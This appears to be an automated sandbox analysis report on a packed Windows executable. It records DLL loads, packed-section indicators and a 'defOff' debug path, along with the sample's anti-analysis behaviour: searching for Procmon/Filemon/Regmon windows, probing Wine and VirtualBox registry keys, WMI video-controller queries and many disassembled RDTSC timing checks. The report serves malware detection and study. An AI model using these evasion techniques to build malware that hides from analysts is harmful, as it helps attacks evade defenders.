Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 738KZNfnzz.exe

Static file information: File size 2966528 > 1048576

Source: 738KZNfnzz.exe

Static PE information: Raw size of vcmhcqda is bigger than: 0x100000 < 0x2aa800

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 738KZNfnzz.exe, 00000000.00000002.2563278674.0000000005C12000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\738KZNfnzz.exe

Unpacked PE file: 0.2.738KZNfnzz.exe.ae0000.0.unpack :EW;.rsrc :W;.idata :W;vcmhcqda:EW;pcqwqlsl:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;vcmhcqda:EW;pcqwqlsl:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 738KZNfnzz.exe

Static PE information: real checksum: 0x2d9887 should be: 0x2e0ecd

Source: 738KZNfnzz.exe	Static PE information: section name:
Source: 738KZNfnzz.exe	Static PE information: section name: .rsrc
Source: 738KZNfnzz.exe	Static PE information: section name: .idata
Source: 738KZNfnzz.exe	Static PE information: section name: vcmhcqda
Source: 738KZNfnzz.exe	Static PE information: section name: pcqwqlsl
Source: 738KZNfnzz.exe	Static PE information: section name: .taggant

Source: 738KZNfnzz.exe

Static PE information: section name: entropy: 7.984130180186877

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\738KZNfnzz.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\738KZNfnzz.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\738KZNfnzz.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\738KZNfnzz.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CB7EF4 second address: CB7EFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CB7EFD second address: CB7F03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CB7F03 second address: CB7F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 ja 00007F7024DCF516h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CB6FCA second address: CB6FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CB6FCF second address: CB6FD9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CB6FD9 second address: CB700B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350ABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007F7025350AC7h 0x00000011 jng 00007F7025350ABCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CB7462 second address: CB747F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7024DCF524h 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CB76F1 second address: CB76FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7025350AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CB7862 second address: CB7893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F7024DCF528h 0x0000000a pop edi 0x0000000b pushad 0x0000000c push esi 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F7024DCF51Bh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CBA606 second address: CBA60B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CBA6BE second address: CBA6EE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7024DCF516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F7024DCF529h 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F7024DCF51Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CBA6EE second address: CBA6F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CBA6F2 second address: CBA70C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F7024DCF51Bh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CBA70C second address: CBA796 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7025350AC8h 0x0000000b popad 0x0000000c pop eax 0x0000000d push eax 0x0000000e mov dword ptr [ebp+122D35B0h], edx 0x00000014 pop esi 0x00000015 push 00000003h 0x00000017 stc 0x00000018 push 00000000h 0x0000001a jmp 00007F7025350AC7h 0x0000001f push 00000003h 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 call 00007F7025350AB8h 0x00000029 pop eax 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e add dword ptr [esp+04h], 0000001Bh 0x00000036 inc eax 0x00000037 push eax 0x00000038 ret 0x00000039 pop eax 0x0000003a ret 0x0000003b jo 00007F7025350AB8h 0x00000041 mov cl, EFh 0x00000043 push 8B7F036Ch 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F7025350AC2h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CBA796 second address: CBA79C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CBA79C second address: CBA7F3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7025350AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 3480FC94h 0x00000013 lea ebx, dword ptr [ebp+124554DEh] 0x00000019 mov si, di 0x0000001c mov ecx, dword ptr [ebp+122D3A31h] 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 pushad 0x00000025 jng 00007F7025350AB6h 0x0000002b jmp 00007F7025350AC9h 0x00000030 popad 0x00000031 pop eax 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F7025350ABEh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CBA8AA second address: CBA8F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov si, 04DBh 0x0000000e jnc 00007F7024DCF51Ch 0x00000014 push 00000000h 0x00000016 pushad 0x00000017 mov esi, dword ptr [ebp+122D3A79h] 0x0000001d jmp 00007F7024DCF523h 0x00000022 popad 0x00000023 mov si, 9B0Dh 0x00000027 push BEACB51Eh 0x0000002c pushad 0x0000002d jns 00007F7024DCF518h 0x00000033 pushad 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CBA8F8 second address: CBA931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 add dword ptr [esp], 41534B62h 0x0000000d mov esi, dword ptr [ebp+122D3AC1h] 0x00000013 push 00000003h 0x00000015 add dword ptr [ebp+122D31F6h], edi 0x0000001b movsx edx, ax 0x0000001e push 00000000h 0x00000020 movsx ecx, si 0x00000023 push 00000003h 0x00000025 mov edi, dword ptr [ebp+122D3AD9h] 0x0000002b call 00007F7025350AB9h 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CBA931 second address: CBA938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CBA938 second address: CBA93E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CBA93E second address: CBA942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CBA942 second address: CBA9C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F7025350AC4h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 jmp 00007F7025350ABDh 0x00000018 je 00007F7025350ABCh 0x0000001e jl 00007F7025350AB6h 0x00000024 popad 0x00000025 mov eax, dword ptr [eax] 0x00000027 push ebx 0x00000028 jng 00007F7025350AB8h 0x0000002e pop ebx 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 pushad 0x00000034 pushad 0x00000035 push ecx 0x00000036 pop ecx 0x00000037 ja 00007F7025350AB6h 0x0000003d popad 0x0000003e jmp 00007F7025350ABDh 0x00000043 popad 0x00000044 pop eax 0x00000045 or dword ptr [ebp+122D2F7Ah], eax 0x0000004b lea ebx, dword ptr [ebp+124554E7h] 0x00000051 mov dh, 3Ch 0x00000053 push eax 0x00000054 pushad 0x00000055 jg 00007F7025350AB8h 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CD925D second address: CD926F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 js 00007F7024DCF516h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CD93C9 second address: CD93CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CD9501 second address: CD9505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CD9505 second address: CD953F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7025350ABFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F7025350ACBh 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007F7025350AB6h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CAD992 second address: CAD996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CD9DA1 second address: CD9DAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CDA3A6 second address: CDA3AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CDA3AB second address: CDA3B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CDA3B1 second address: CDA3B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CDA3B5 second address: CDA3C6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7025350AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CDA3C6 second address: CDA3CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CDA533 second address: CDA547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F7025350AB6h 0x0000000c jp 00007F7025350AB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CDA713 second address: CDA719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CDA8A0 second address: CDA8B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7025350AC4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CDA8B8 second address: CDA8C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CDDB51 second address: CDDB55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE26D3 second address: CE26DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE4BDB second address: CE4BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE4BE4 second address: CE4BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE4BE9 second address: CE4BF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F7025350AB6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE8128 second address: CE8147 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7024DCF529h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE8147 second address: CE814B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE814B second address: CE8170 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7024DCF516h 0x00000008 jo 00007F7024DCF516h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7024DCF523h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: C9E8CD second address: C9E8D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: C9E8D1 second address: C9E8DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF51Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE7761 second address: CE7772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7025350ABDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE7772 second address: CE777D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE777D second address: CE7782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE78CA second address: CE78D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE7E44 second address: CE7E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE7E48 second address: CE7E58 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jl 00007F7024DCF51Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE7E58 second address: CE7E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE7E5F second address: CE7E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE7E65 second address: CE7E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F7025350AC4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CE7E82 second address: CE7E86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEA8B5 second address: CEA8EA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F7025350ABAh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 je 00007F7025350AB8h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 jng 00007F7025350ABCh 0x0000001e js 00007F7025350AB6h 0x00000024 popad 0x00000025 mov eax, dword ptr [eax] 0x00000027 push ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a jnl 00007F7025350AB6h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEA8EA second address: CEA94E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF51Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jng 00007F7024DCF516h 0x00000016 pop ecx 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F7024DCF518h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 pushad 0x00000034 adc dh, FFFFFFD9h 0x00000037 mov dword ptr [ebp+122D3765h], edi 0x0000003d popad 0x0000003e push 6F844F1Fh 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F7024DCF521h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEABE1 second address: CEABE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEABE5 second address: CEABEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEABEF second address: CEABF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
